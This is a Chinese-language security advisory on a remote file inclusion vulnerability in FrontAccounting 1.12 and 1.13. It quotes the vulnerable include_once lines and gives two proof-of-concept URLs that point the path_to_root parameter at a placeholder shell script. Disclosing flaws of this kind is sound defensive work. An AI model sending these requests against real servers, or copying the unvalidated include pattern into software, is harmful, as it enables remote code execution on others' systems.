发布日期：2007-09-26
更新日期：2007-09-27

受影响系统：

FrontAccounting FrontAccounting 1.13
FrontAccounting FrontAccounting 1.12

描述：

---

BUGTRAQ  ID: 25812

FrontAccounting是适用于中小企业的财务软件。

FrontAccounting在处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

FrontAccounting的access/login.php和includes/lang/language.php文件中没有正确地验证对path_to_root参数的输入，允许远程攻击者通过包含本地或外部资源的任意文件导致执行任意代码。有漏洞的代码段如下：

ERROR1:accsess/login.php
include_once($path_to_root . "/includes/ui/ui_view.inc"); <<< RFI

ERROR2:includes/lang/language.php
include_once($path_to_root . "/lang/installed_languages.inc");
include_once($path_to_root . "/includes/lang/gettext.php"); <<< RFI

<*来源：K3ZZAP66345
  
  链接：http://secunia.com/advisories/26962/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://site.com/path/accsess/login.php?path_to_root=[[Sh3LLScript]]
http://site.com/path/includes/lang/language.php?path_to_root=[[Sh3LLScript]]

建议：

---

厂商补丁：

FrontAccounting
---------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://frontaccounting.net/wb2/

浏览次数：2335
严重程度：0（网友投票）